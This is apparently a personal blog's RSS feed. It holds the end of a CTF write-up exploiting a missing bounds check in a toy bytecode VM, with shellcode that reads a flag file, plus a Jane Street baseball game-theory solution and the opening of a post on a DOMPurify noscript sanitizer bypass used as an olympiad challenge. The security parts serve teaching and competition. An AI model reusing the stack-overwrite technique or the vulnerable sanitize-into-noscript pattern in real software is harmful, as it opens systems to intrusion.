syscall 0x0 ecx 0x0
# halt the program
halt 0x0 0x0 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PS: The keen eyed among you might have noticed that I (definitely intentionally) left out functionality to do something like &lt;code&gt;mov eax 0x10&lt;/code&gt;.&lt;br /&gt;
Therefore, in order to &quot;move&quot; a value to a register, one must do the following &lt;code&gt;add eax 0x0 &amp;lt;value&amp;gt;&lt;/code&gt; or similar.&lt;/p&gt;
&lt;h2&gt;The exploit&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;As there is a current writeup competition going on, I shall make this section purposefully vague for the time being till the deadline has been reached. Additionally, I will not include the section on how I believe a beginner contestant can solve the challenge till then.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The vulnerability of the program comes with the fact that there is no bounds check on the value in the ecx register.&lt;br /&gt;
Additionally, the store instruction stores a value of arbitrary size into the stack.&lt;br /&gt;
Therefore, if we can execute a sequence of mathematical operations such that when the store instruction is called, we can write a huge value onto the stack that&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Contains some shellcode that reads the flag file and prints it (how convenient that the string &quot;flag&quot; is only 4 bytes!)&lt;/li&gt;
&lt;li&gt;Overwrites the code @ the current eip to jump to the start of this shellcode&lt;br /&gt;
We can print out the flag and win!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I was initially left wondering on the best way to do the above, but a friend wisely suggested a loop of bitshifting 4 bytes, then adding the value that corresponds to 4 bytes that you want and so forth.&lt;br /&gt;
This works really well. However, we cannot bitshift 4 bytes at a time as we would require to multiply by 0x0100000000, which is a little more than the 4 bytes we are allowed.&lt;br /&gt;
Therefore, to keep things simple, I opted to bitshift by 3 bytes at a time. The big endianess makes this really uncomplicated and easy.&lt;/p&gt;
&lt;p&gt;To do this, we simply multiply by 0x01000000: $0x1234 \cdot 0x01000000 = 0x1234000000$&lt;br /&gt;
Then, we add the value of the 3 bytes we want. We can do this for our entire payload and then call the &quot;done&quot; instruction and win.&lt;/p&gt;
&lt;p&gt;In the interests of saving operations however, I opted to spam a few mul, 0xffffffff first to fill up space with &quot;random&quot; bytes that we won&apos;t care about.&lt;/p&gt;
&lt;p&gt;We first create a shellcode snippet that can be used to read and print the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# add &quot;flag&quot; to ecx
add ecx flag 0x0

# push to stack
push ecx 0x0 0x0

# flag is now at addr 0x74

add ecx 0x0 0x74
# call open syscall to read value into 
syscall 0x2 ecx ebx

# store the read value from ebx to eax
store ebx 0x100 0x0
add ebx 0x100 0x0
# call print syscall to print the value out
syscall 0x0 ebx 0x0
halt 0x0 0x0 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our payload(theoretically) will be constructed like so:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;0x8c4 bytes&lt;/th&gt;
&lt;th&gt;shellcode&lt;/th&gt;
&lt;th&gt;jmp instruction to top of shellcode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x74-0x938&lt;/td&gt;
&lt;td&gt;0x938-0x9b8&lt;/td&gt;
&lt;td&gt;0x9b8-0x9c8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Which we can then use this rather clunky solve script to solve&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;redacted for now&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Revisiting the challenge from the perspective of a participant&lt;/h1&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h2&gt;Analysis and decompilation of the bytevm&lt;/h2&gt;
&lt;h2&gt;Exploit creation&lt;/h2&gt;
&lt;h2&gt;Solve script&lt;/h2&gt;
</content:encoded><author>kek</author></item><item><title>Robot Baseball: Jane Street October 2025 monthly puzzle</title><link>https://blog.kek.cx/posts/janestreet-oct-2025</link><guid isPermaLink="true">https://blog.kek.cx/posts/janestreet-oct-2025</guid><description>Short writeup on one of JS&apos;s easier monthly puzzles</description><pubDate>Tue, 04 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After a recent breakup, I needed something to distract myself and decided to work on Jane Street&apos;s puzzle of the month.&lt;/p&gt;
&lt;p&gt;If you&apos;re just interested in the solution script, it is available &lt;a href=&quot;https://github.com/fishjojo1/janestreet-puzzles/tree/master/solutions/oct-2025&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Problem Analysis&lt;/h2&gt;
&lt;p&gt;The puzzle reads&lt;/p&gt;
&lt;p&gt;The Artificial Automaton Athletics Association (Quad-A) is at it again, to compete with postseason baseball they are developing a Robot Baseball competition. Games are composed of a series of independent at-bats in which the batter is trying to maximize expected score and the pitcher is trying to minimize expected score.&lt;/p&gt;
&lt;p&gt;An at-bat is a series of pitches with a running count of balls and strikes, both starting at zero. For each pitch, the pitcher decides whether to throw a ball or strike, and the batter decides whether to wait or swing; these decisions are made secretly and simultaneously. The results of these choices are as follows.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the pitcher throws a ball and the batter waits, the count of balls is incremented by 1.&lt;/li&gt;
&lt;li&gt;If the pitcher throws a strike and the batter waits, the count of strikes is incremented by 1.&lt;/li&gt;
&lt;li&gt;If the pitcher throws a ball and the batter swings, the count of strikes is incremented by 1.&lt;/li&gt;
&lt;li&gt;If the pitcher throws a strike and the batter swings, with probability p the batter hits a home run1 and with probability 1-p the count of strikes is incremented by 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An at-bat ends when either:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The count of balls reaches 4, in which case the batter receives 1 point.&lt;/li&gt;
&lt;li&gt;The count of strikes reaches 3, in which case the batter receives 0 points.&lt;/li&gt;
&lt;li&gt;The batter hits a home run, in which case the batter receives 4 points.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By varying the size of the strike zone, Quad-A can adjust the value p, the probability a pitched strike that is swung at results in a home run. They have found that viewers are most excited by at-bats that reach a full count, that is, the at-bats that reach the state of three balls and two strikes. Let q be the probability of at-bats reaching full count; q is dependent on p. Assume the batter and pitcher are both using optimal mixed strategies and Quad-A has chosen the p that maximizes q. Find this q, the maximal probability at-bats reach full count, to ten decimal places.&lt;/p&gt;
&lt;p&gt;This is quite clearly some sort of game theory problem, in which one party seeks to minimize a particular value (num of points) and the other seeks to maximise the same value.&lt;/p&gt;
&lt;p&gt;The problem is really wordy and is probably best displayed in some sort of table&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pitcher/Batter&lt;/th&gt;
&lt;th&gt;Ball&lt;/th&gt;
&lt;th&gt;Strike&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Swing&lt;/td&gt;
&lt;td&gt;+1 Strike&lt;/td&gt;
&lt;td&gt;p: homerun / p&apos;: +1 Strike&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wait&lt;/td&gt;
&lt;td&gt;+1 Ball&lt;/td&gt;
&lt;td&gt;+1 Strike&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Now the question we first have to ask ourselves is: is there a dominant strategy?
Say p=0. Then, the pitcher would always strike as this always leads to +1 Strike, and the batter would always wait. Therefore, we would always end up in a +1 Strike and the game would end in 3 rounds with 0 points.&lt;/p&gt;
&lt;p&gt;However, since the problem seems to imply the existence of a mixed strategy when p is set in such a way that maximises the probability of a full count, lets assume that there is no dominant strategy.&lt;/p&gt;
&lt;p&gt;Furthermore, the optimal strategy probably depends on the state of the game. Therefore, let us begin by modelling this state of the game.&lt;/p&gt;
&lt;h2&gt;Thought process&lt;/h2&gt;
&lt;p&gt;Call the state of the game S(b,s), where b is the number of current balls and s is the number of current strikes.&lt;br /&gt;
Then call the expected value of each state E(S,p,x,y), where S is the state of the game, p is the probability of a homerun when we have a Strike/Swing scenario, and x and y are the probabilities of the pitcher choosing a ball and the batter   choosing to wait. Alternatively, you could notate E(b,s,p,x,y) for simplicity.&lt;/p&gt;
&lt;p&gt;The goal of the pitcher is to minimise the value of the state and the goal of the batter is to maximise it.&lt;/p&gt;
&lt;p&gt;Now, we use some logic to &quot;simplify&quot; the problem.&lt;br /&gt;
Given some state S, lets say that for the pitcher, $ E(Ball) = 0.7 $ and $ E(Strike) = 0.8 $, where E is the expected points of a specific action.&lt;br /&gt;
In this scenario, one can clearly tell that the pitcher should &lt;em&gt;always&lt;/em&gt; Ball, as this minimizes the expected points. Therefore, the pitcher should always choose to throw a Ball here.&lt;/p&gt;
&lt;p&gt;It is often confusing to those new to game theory on why players must be indifferent between actions in a mixed, optimal strategy, but allow me to present a intuitive argument for this.&lt;br /&gt;
Keep in mind that a nash equilibrium strategy assumes that both players have &lt;em&gt;full&lt;/em&gt; knowledge of the other person&apos;s strategy.&lt;br /&gt;
Consider the following scenario:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If the batter chooses his probability of waiting in such a way that throwing a ball is always better for the pitcher, then the pitcher will always choose a ball.&lt;/li&gt;
&lt;li&gt;Therefore, since the batter always chooses a wait since that will mean that he will always get 1 point.&lt;/li&gt;
&lt;li&gt;However, if the batter always chooses to wait, the pitcher is now not incentivised to choose a ball, and will therefore be more inclined to choose to strike.&lt;/li&gt;
&lt;li&gt;Therefore, the pitcher will increase his probability of striking. In return, the batter will choose to wait more, and this &quot;process&quot; will happen until they eventually reach a state where the batter and striker have no preference between either action.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Therefore, at the equilibrium, the &quot;payoff&quot; or inversely, the &quot;cost&quot; of each action for a player must be the same.&lt;/p&gt;
&lt;p&gt;This insight thus allows us to mathematically represent the optimal strategies&lt;/p&gt;
&lt;p&gt;The value of the state E(x,y,b,s) can thus be calculated as follows&lt;br /&gt;
Remember that x = probability of ball, y = probability of wait, b = num of balls, s = num of strikes&lt;br /&gt;
$$
\begin{aligned}
&amp;amp;E(x,y,b,s) = xy * E(x,y,b+1,s) \&lt;br /&gt;
&amp;amp;+ (1-x)y * E(x,y,b,s+1) \&lt;br /&gt;
&amp;amp;+ x(1-y) *  E(x,y,b,s+1) \&lt;br /&gt;
&amp;amp;+ (1-x)(1-y) * [p * 4 + (1-p) * E(x,y,b,s+1)]
\end{aligned}
$$&lt;/p&gt;
&lt;h3&gt;Pitcher&apos;s equilibrium&lt;/h3&gt;
&lt;p&gt;The expected value of the pitcher choosing to throw a ball is as follows (forgive the notation)&lt;br /&gt;
$$
E(ball) =  y * E(x,y,b+1,s) + (1-y) * E(x,y,b,s+1)
$$&lt;/p&gt;
&lt;p&gt;The expected value of the pitcher choosing to throw a strike is as follows&lt;br /&gt;
$$
E(strike) = y * E(x,y,b,s+1) + (1-y) * (4p + (1-p) * E(x,y,b,s+1))
$$&lt;/p&gt;
&lt;p&gt;Additionally, we know that these two values must be equal for indifference. Therefore,
$$
\begin{aligned}
&amp;amp;y * E(x,y,b+1,s) + (1-y) * E(x,y,b,s+1) = y * E(x,y,b,s+1) + (1-y) * (4p + (1-p) * E(x,y,b,s+1)) \&lt;br /&gt;
&amp;amp;y = \frac{p(4 + E(x,y,b,s+1))}{E(x,y,b+1,s) + E(x,y,b,s+1) + p(4 - E(x,y,b,s+1))}
\end{aligned}
$$&lt;/p&gt;
&lt;h3&gt;Batter&apos;s equilibrium&lt;/h3&gt;
&lt;p&gt;Likewise, the expected value of the batter choosing to wait is as follows&lt;br /&gt;
$$
E(wait) =  x * E(x,y,b+1,s) + (1-y) * E(x,y,b,s+1)
$$&lt;/p&gt;
&lt;p&gt;The expected value of the batter swinging is as follows&lt;br /&gt;
$$
E(swing) = x * E(x,y,b,s+1) + (1-x) * (4p + (1-p) * E(x,y,b,s+1))
$$&lt;/p&gt;
&lt;p&gt;And therefore,
$$
\begin{aligned}
&amp;amp;x * E(x,y,b+1,s) + (1-x) * E(x,y,b,s+1) = x * E(x,y,b,s+1) + (1-x) * (4p + (1-p) * E(x,y,b,s+1)) \&lt;br /&gt;
&amp;amp;x = \frac{p(4 + E(x,y,b,s+1))}{E(x,y,b+1,s) + E(x,y,b,s+1) + p(4 - E(x,y,b,s+1))}
\end{aligned}
$$&lt;/p&gt;
&lt;h2&gt;Solution walkthrough&lt;/h2&gt;
&lt;p&gt;What a coincidence! It seems that the equations for both the batter&apos;s and the pitcher&apos;s optimal strategies are the same!&lt;br /&gt;
Furtheremore, we know that there are some terminal states of the value of a state!&lt;br /&gt;
Eg. $E(x,y,4,k) = 1$ and $E(x,y,m,3) = 0$ for any $k &amp;lt; 3$ and $m &amp;lt; 4$&lt;br /&gt;
We can then now proceed to implement this in code with some recursion&lt;/p&gt;
&lt;p&gt;First, write the function V(b,s,p) that calculates the value of a state given b,s,p&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# returns the value function for state S(b,s)
V_cache = {} # used a cache here to speed up the calculation -&amp;gt; we&apos;re using vanilla python w/o the aid of numpy etc which is pretty slow so this is necessary 
def V(b,s,p):
    if b == 4: # terminal state for 4 balls
        return 1 
    if s == 3: # terminal state for 3 strikes
        return 0
    key = (b, s) # cache lookup for speed
    if key in V_cache:
        return V_cache[key]
    else:
        x_val = x(b, s, p) # we will write these functions later on
        y_val = y(b, s, p)
        result = (
            x_val * y_val * V(b+1,s,p) + 
            x_val * (1 - y_val) * V(b,s+1,p) + 
            (1 - x_val) * y_val * V(b,s+1,p) + 
            4 * p * (1 - x_val) * (1 - y_val) + 
            (1 - x_val) * (1 - y_val) * (1 - p) * V(b,s+1,p)
        )
        V_cache[key] = result
        return result

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, write functions x and y, which calculate the optimal strategies given the value functions of the next states&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# returns the optimal frequency for throwing a ball
def x(b,s,p):
    return (p * (4 - V(b,s+1,p))) / (V(b+1,s,p) - V(b,s+1,p) + p * (4 - V(b,s+1,p)))

# returns the optimal frequency for waiting
def y(b,s,p):
    return (p * (4 - V(b,s+1,p))) / (V(b+1,s,p) - V(b,s+1,p) + p * (4 - V(b,s+1,p)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, since we want to find the value of p that maximises q, the probabilities that the at-bats reach full count, write a function q, that returns the probability of reaching state S(b,s)&lt;/p&gt;
&lt;p&gt;The formula for Q is as follows
$$
\begin{aligned}
&amp;amp;Q(b,s,p) = x(b-1,s,p) * y(b-1,s,p) * Q(b-1,s,p) +  \&lt;br /&gt;
&amp;amp;x(b,s-1,p) * (1 - y(b,s-1,p)) * Q(b,s-1,p) + \&lt;br /&gt;
&amp;amp;(1 - x(b,s-1,p)) * y(b,s-1,p) * Q(b,s-1,p) + \&lt;br /&gt;
&amp;amp;(1 - x(b,s-1,p)) * (1 - y(b,s-1,p)) * (1 - p) * Q(b,s-1,p)
\end{aligned}
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Q_cache = {} # again, cache here used for speed
# returns the probability of reaching state S(b,s)
def Q(b,s,p):
    # print((b,s,p))
    if b == 0 and s == 0: # we always start at S(0,0), so we have a probability of 1 of reaching this state
        return 1
    
    if b &amp;lt; 0 or s &amp;lt; 0: # we can never reach values with b &amp;lt; 0 or s &amp;lt; 0
        return 0
    
    key = (b,s)
    if key in Q_cache:
        return Q_cache[key]
    
    else:
        res = ( 
            x(b-1,s,p) * y(b-1,s,p) * Q(b-1,s,p) +
            x(b,s-1,p) * (1 - y(b,s-1,p)) * Q(b,s-1,p) +
            (1 - x(b,s-1,p)) * y(b,s-1,p) * Q(b,s-1,p) +
            (1 - x(b,s-1,p)) * (1 - y(b,s-1,p)) * (1 - p) * Q(b,s-1,p)
        )

        Q_cache[key] = res
        return res
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, all we need to do is find this p that minimizes q.&lt;br /&gt;
Lets plot a graph of q as p progresses.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import matplotlib.pyplot as plt
x_vals = []
y_vals = []
for i in range(1,101):
    V_cache = {}
    Q_cache = {}
    x_vals.append(i/100)
    y_vals.append(Q(3,2,i/100))

plt.xlabel(&quot;p value&quot;)
plt.ylabel(&quot;Q(3,2,p)&quot;)
plt.plot(x_vals, y_vals)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/janestreet-oct-2025-graph.png&quot; alt=&quot;Graph of Q against p&quot; title=&quot;Graph of Q against p&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, the value of Q peaks somewhere around $p=0.22$&lt;br /&gt;
We could then bruteforce all values to 10dp between 0.2-0.25(one of my friends wrote this script in c++ and did this)&lt;br /&gt;
However, it would probably be faster and more bearable to use some sort of optimised search function given that our code is not terribly fast, and 10dp isn&apos;t that hard to narrow down.&lt;/p&gt;
&lt;p&gt;Thankfully, scipy has a pretty good &lt;a href=&quot;docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.minimize_scalar.html&quot;&gt;minimize_scalar&lt;/a&gt; function. Since we want to maximise Q instead of minimizing it, we could just aim to minimize -Q or (1-Q)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scipy.optimize import minimize_scalar
def compute_q(p):
    V_cache.clear()
    Q_cache.clear()
    return -Q(3,2,p)
res = minimize_scalar(
    lambda p: compute_q(p),
    bounds=(0,1),
    method=&apos;bounded&apos;,
    options= {
        &apos;disp&apos;: True
    }
)

print(&quot;Optimal p:&quot;, f&quot;{res.x:.10f}&quot;, &quot;Resultant Q = &quot;, f&quot;{Q(3,2,res.x):.10f}&quot;) # 0.2269743428955392
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Optimal p: 0.2269743429 Resultant Q =  0.2959679933&lt;/p&gt;
&lt;p&gt;And that&apos;s the puzzle solved! :laughing:&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>Showing Off Blog Features</title><link>https://blog.kek.cx/posts/showing-off-blog-styles</link><guid isPermaLink="true">https://blog.kek.cx/posts/showing-off-blog-styles</guid><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since the post does not have a description in the frontmatter, the first paragraph is used.&lt;/p&gt;
&lt;h2&gt;Theming&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Use your favorite editor theme for your blog!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Theming for the website comes from builtin Shiki themes found in Expressive Code. You can view them &lt;a href=&quot;https://expressive-code.com/guides/themes/#available-themes&quot;&gt;here&lt;/a&gt;. A website can have one or more themes, defined in &lt;code&gt;src/site.config.ts&lt;/code&gt;. There are three theming modes to choose from:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;single&lt;/code&gt;: Choose a single theme for the website. Simple.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;light-dark-auto&lt;/code&gt;: Choose two themes for the website to use for light and dark mode. The header will include a button for toggling between light/dark/auto. For example, you could choose &lt;code&gt;github-dark&lt;/code&gt; and &lt;code&gt;github-light&lt;/code&gt; with a default of &lt;code&gt;&quot;auto&quot;&lt;/code&gt; and the user&apos;s experience will match their operating system theme straight away.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;select&lt;/code&gt;: Choose two or more themes for the website and include a button in the header to change between any of these themes. You could include as many Shiki themes from Expressive Code as you like. Allow users to find their favorite theme!&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;When the user changes the theme, their preference is stored in &lt;code&gt;localStorage&lt;/code&gt; to persist across page navigation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Code Blocks&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at some code block styles:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def hello_world():
    print(&quot;Hello, world!&quot;)

hello_world()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;def hello_world():
    print(&quot;Hello, world!&quot;)

hello_world()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;python hello.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also some inline code: &lt;code&gt;1 + 2 = 3&lt;/code&gt;. Or maybe even &lt;code&gt;(= (+ 1 2) 3)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;See the &lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;Expressive Code Docs&lt;/a&gt; for more information on available features like wrapping text, line highlighting, diffs, etc.&lt;/p&gt;
&lt;h2&gt;Basic Markdown Elements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;List item 1&lt;/li&gt;
&lt;li&gt;List item 2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Bold text&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Italic text&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Strikethrough text&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.example.com&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In life, as in art, some endings are bittersweet. Especially when it comes to love. Sometimes fate throws two lovers together only to rip them apart. Sometimes the hero finally makes the right choice but the timing is all wrong. And, as they say, timing is everything.&lt;/p&gt;
&lt;p&gt;- Gossip Girl&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Age&lt;/th&gt;
&lt;th&gt;City&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Alice&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;New York&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bob&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Los Angeles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Charlie&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;Chicago&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Images&lt;/h2&gt;
&lt;p&gt;Images can include a title string after the URL to render as a &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; with a &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/9/90/PixelatedGreenTreeSide.png&quot; alt=&quot;Pixel art of a tree&quot; title=&quot;Pixel art renders poorly without proper CSS&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![Pixel art of a tree](https://upload.wikimedia.org/wikipedia/commons/9/90/PixelatedGreenTreeSide.png &quot;Pixel art renders poorly without proper CSS&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ve also added a special tag for pixel art that adds the correct CSS to render properly. Just add &lt;code&gt;#pixelated&lt;/code&gt; to the URL.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/9/90/PixelatedGreenTreeSide.png#pixelated&quot; alt=&quot;Pixel art of a tree&quot; title=&quot;But adding #pixelated fixes this&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![Pixel art of a tree](https://upload.wikimedia.org/wikipedia/commons/9/90/PixelatedGreenTreeSide.png#pixelated &quot;But adding #pixelated fixes this&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Admonitions&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;:::note
testing123
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
testing123
:::&lt;/p&gt;
&lt;p&gt;:::tip
testing123
:::&lt;/p&gt;
&lt;p&gt;:::important
testing123
:::&lt;/p&gt;
&lt;p&gt;:::caution
testing123
:::&lt;/p&gt;
&lt;p&gt;:::warning
testing123
:::&lt;/p&gt;
&lt;h2&gt;HTML Elements&lt;/h2&gt;
&lt;p&gt;&amp;lt;button&amp;gt;A Button&amp;lt;/button&amp;gt;&lt;/p&gt;
&lt;h3&gt;Fieldset with Inputs&lt;/h3&gt;
&lt;p&gt;&amp;lt;fieldset&amp;gt;
&amp;lt;input type=&quot;text&quot; placeholder=&quot;Type something&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type=&quot;number&quot; placeholder=&quot;Insert number&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;input type=&quot;text&quot; value=&quot;Input value&quot;&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;select&amp;gt;
&amp;lt;option value=&quot;1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;
&amp;lt;option value=&quot;2&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;
&amp;lt;option value=&quot;3&quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;
&amp;lt;/select&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;textarea placeholder=&quot;Insert a comment...&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot;&amp;gt; I understand&amp;lt;br&amp;gt;&amp;lt;/label&amp;gt;
&amp;lt;button type=&quot;submi&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;
&amp;lt;/fieldset&amp;gt;&lt;/p&gt;
&lt;h3&gt;Form with Labels&lt;/h3&gt;
&lt;p&gt;&amp;lt;form&amp;gt;
&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;apple&quot;&amp;gt;
Apple
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;banana&quot;&amp;gt;
Banana
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;orange&quot;&amp;gt;
Orange
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value=&quot;grape&quot;&amp;gt;
Grape
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;label&amp;gt;
&amp;lt;input type=&quot;checkbox&quot; name=&quot;terms&quot; value=&quot;agree&quot;&amp;gt;
I agree to the terms and conditions
&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>How I accidentally set a DOMPurify 0 day as a national high school olympiad qualification challenge</title><link>https://blog.kek.cx/posts/how-i-accidentally-set-a-0day-in-a-national-olympiad</link><guid isPermaLink="true">https://blog.kek.cx/posts/how-i-accidentally-set-a-0day-in-a-national-olympiad</guid><description>oops...</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Singapore National Cybersecurity Olympiad preliminary round has recently just concluded.&lt;/p&gt;
&lt;p&gt;For the contest, I set 2 web challenges. Here&apos;s how I accidentally set a 0 day DOMPurify vulnerability as a challenge.&lt;/p&gt;
&lt;h1&gt;The Challenge&lt;/h1&gt;
&lt;p&gt;Not sure if I can share the entire source, but the challenge revolves around this code snippet&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const clean = DOMPurify.sanitize(content);

res.send(&quot;&amp;lt;div&amp;gt;&amp;lt;noscript&amp;gt;&quot;+clean+&quot;&amp;lt;/noscript&amp;gt;&amp;lt;/div&amp;gt;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Disclaimer: I found this behaviour somewhere around November of 2025, and assumed it was intended behavior, and that the exploitability of this stemmed from the misuse of dompurify (lack of context) rather than an actual vulnerability. Therefore, I did not report this vulnerability at that point in time (trust me, I would&apos;ve collected that CVE if I thought it could&apos;ve been one). I only realised this was intended behaviour after the contest when I was notified of the CVE that had been released 2 days before the contest.&lt;/p&gt;
&lt;h1&gt;Oops...&lt;/h1&gt;
&lt;p&gt;Anyways, fast forward to the day of the contest when I received this message from the other web author - @halogen&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/dompurify-0day-initial-message.png&quot; alt=&quot;Initial Message From Halogen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this time, I was busy playing poker at a friend&apos;s place. Quickly however, I whipped out my laptop to check if I had indeed committed a whoopsie :p&lt;/p&gt;
&lt;p&gt;After updating dompurify and spinning up the challenge...yep, it seemed like the latest dompurify patch fixed my challenge. Thankfully, the docker image we were deploying at that time still had the outdated dompurify version!&lt;/p&gt;
&lt;p&gt;Therefore, I didn&apos;t think much of it until later.&lt;/p&gt;
&lt;h2&gt;Preliminary investigations&lt;/h2&gt;
&lt;p&gt;The CVE in question is &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-0540&quot;&gt;CVE-2026-0540&lt;/a&gt;, a vulnerability in the sanitizer caused by a lack of rawtext elements in the SAFE_FOR_XML regex.&lt;/p&gt;
